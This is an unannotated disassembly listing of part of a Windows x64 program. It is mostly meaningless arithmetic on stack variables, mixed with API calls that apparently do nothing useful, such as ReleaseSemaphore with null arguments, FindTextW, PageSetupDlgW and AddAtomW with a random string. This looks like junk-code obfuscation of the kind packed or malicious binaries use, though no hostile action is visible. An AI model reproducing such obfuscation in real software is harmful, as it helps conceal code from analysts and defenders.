movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov word [rsp + 0x1350], ax
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3c5c], eax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x134c]
and eax, ecx
mov word [rsp + 0x1200], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rcx, qword [rsp + 0x79c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3c60], eax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [0x140120038]
sub eax, ecx
mov byte [rsp + 0x2a2], al
cmp dword [rsp + 0x3c58], 0xa6ff
jae 0x14000c3ac
lea rax, [rsp + 0x10b0]
mov qword [rsp + 0x79f0], rax
lea rax, [rsp + 0x68e8]
mov qword [rsp + 0x79f8], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov dword [rsp + 0x3c64], 0x51d8
cmp dword [rsp + 0x3c2c], 0x2609
jbe 0x14000ca6f
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [0x14012039c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140120398], eax
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov word [rsp + 0x9d4], ax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x2a1]
and eax, ecx
mov byte [rsp + 0x29f], al
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7360]
sar rax, cl
mov qword [rsp + 0x7988], rax
movzx eax, word [rsp + 0x135c]
movzx ecx, word [rsp + 0x1348]
shl eax, cl
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3c04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140120390], rax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1314]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7360]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
sub eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x79c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ae8], rax
mov eax, dword [rsp + 0x3c2c]
sub eax, 0xea
mov dword [rsp + 0x3c2c], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140120398], eax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x29f]
shl eax, cl
mov byte [rsp + 0x2a1], al
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x135c]
xor eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
or eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x2a0]
sar eax, cl
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7988]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x37ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c3c]
mov ecx, dword [rsp + 0x3c04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x79c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
sub eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
jmp 0x14000c668
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
shl eax, cl
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x7a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a08]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6ae8], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x3c68], eax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x29f]
xor eax, ecx
mov byte [rsp + 0x2a1], al
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c00]
and ecx, eax
mov eax, ecx
mov dword [0x14012039c], eax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x1348]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1350], ax
mov eax, dword [rsp + 0x3bfc]
add eax, 0x6e
mov dword [rsp + 0x3bfc], eax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [0x140120038]
add eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c3c], eax
cmp dword [rsp + 0x3bfc], 0xfffc
jbe 0x14000ca82
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x2a1]
add eax, ecx
movsx ecx, byte [rsp + 0x29e]
movsx edx, byte [0x14012728b]
sub ecx, edx
cmp eax, ecx
jge 0x14000cd02
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140120390]
shl rax, cl
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3be8]
sar eax, cl
mov dword [rsp + 0x37ac], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140120038], al
call fcn.140103400
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
and eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
sub eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7998]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x79d0]
movzx ecx, byte [rax]
call fcn.1401034a0
jmp 0x14000ce4d
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x37ac]
mov edx, dword [rsp + 0x3c20]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14000ce4d
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7988]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7360], rax
lea rcx, [rsp + 0x7a10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7988]
mov qword [rsp + 0x7a18], rax
mov dword [rsp + 0x3c6c], 0xf9b2
mov dword [rsp + 0x3c70], 0xfe31
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov byte [rsp + 0x3c74], al
cmp byte [rsp + 0x3c74], 0xb7
je 0x14000cdd5
cmp byte [rsp + 0x3c74], 0xe5
je 0x14000ce33
jmp 0x14000ce4d
lea rax, [rsp + 0x2a1]
mov qword [rsp + 0x7a28], rax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x7980]
movzx eax, word [rax]
mov word [0x140127288], ax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
jmp 0x14000ce4d
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [0x140120398]
mov edx, dword [rsp + 0x3be8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x14000cf13
lea rcx, [rsp + 0x14840]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x7a30], rax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x134c], ax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1200]
shl eax, cl
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
call fcn.140103580
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
sar eax, cl
mov word [rsp + 0x10b0], ax
movzx eax, byte [0x140120038]
movzx ecx, byte [rsp + 0x1ba]
xor eax, ecx
mov byte [rsp + 0x2a2], al
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [0x1401203a8], rax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x1ba], al
movzx eax, word [rsp + 0x135c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
and eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x29e]
add eax, ecx
mov byte [rsp + 0x29f], al
mov eax, dword [rsp + 0x3c4c]
add eax, 0x87
mov dword [rsp + 0x3c4c], eax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7988]
sar rax, cl
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c14]
xor ecx, eax
mov eax, ecx
mov dword [0x140120398], eax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov word [rsp + 0x1200], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a00]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x79c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7360], rax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x1ba]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [0x1401203a8]
sub rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c00], eax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
xor eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a00]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7988], rax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x2a1]
shl eax, cl
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1350]
sar eax, cl
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14012039c], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [0x1401203a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
cmp dword [rsp + 0x3c4c], 0x902e
jb 0x14000cf4c
cmp dword [rsp + 0x3c6c], 0x1312a
ja 0x14000d45c
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1350]
sub eax, ecx
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0x1200], ax
mov eax, dword [rsp + 0x3c6c]
add eax, 0xc8
mov dword [rsp + 0x3c6c], eax
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c34]
shl eax, cl
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sar eax, cl
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
xor eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
jmp 0x14000d2d1
movzx eax, byte [rsp + 0x2a1]
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
imul eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a00]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7988]
mov rdx, qword [rsp + 0x68e8]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14000d580
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
and eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [0x1401203a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c34], eax
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1200], ax
lea rcx, [rsp + 0x14ab0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x3c1c], eax
call fcn.140103400
cmp dword [rsp + 0x3c64], 0x25f7
jb 0x14000d7f6
lea rcx, str.Q1a_Ng.Wsd3M
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1360], ax
mov eax, dword [rsp + 0x3c64]
sub eax, 0xef
mov dword [rsp + 0x3c64], eax
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
shl eax, cl
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
sar eax, cl
mov word [rsp + 0x134c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x10b0]
xor eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
and ecx, eax
mov eax, ecx
mov dword [0x1401203a0], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7968], rax
movsx eax, byte [rsp + 0x29f]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x6040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x7a40], rax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x7360]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x79c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov eax, dword [rsp + 0x37ac]
mov rcx, qword [rsp + 0x79b0]
mov qword [rsp + 0x7a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a48]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140120398], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x7a20], rax
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c34]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sar eax, cl
mov byte [rsp + 0x2a2], al
jmp 0x14000d580
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1314]
xor eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1348]
and eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x68e8]
mov qword [rsp + 0x7a50], rax
mov dword [rsp + 0x3c78], 0xc7ec
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [0x140120038]
imul eax, ecx
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2a2]
sub ecx, edx
cmp eax, ecx
jl 0x14000d917
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movzx eax, word [rsp + 0x1350]
mov word [rsp + 0x1368], ax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x37ac], eax
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
movsx eax, byte [rsp + 0x29f]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c3c], eax
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0x7a58], rax
movsx eax, word [rsp + 0x1200]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x134c], ax
movzx eax, word [rsp + 0x1368]
movzx ecx, word [rsp + 0x1348]
sub eax, ecx
mov word [rsp + 0x10b0], ax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a2], al
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x134c]
sar eax, cl
mov word [rsp + 0x1200], ax
mov eax, dword [rsp + 0x3c3c]
mov ecx, dword [rsp + 0x3c04]
xor ecx, eax
mov eax, ecx
mov dword [0x14012039c], eax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7968]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [0x140120038]
add eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, word [rsp + 0x1364]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a00]
mov rax, qword [rax]
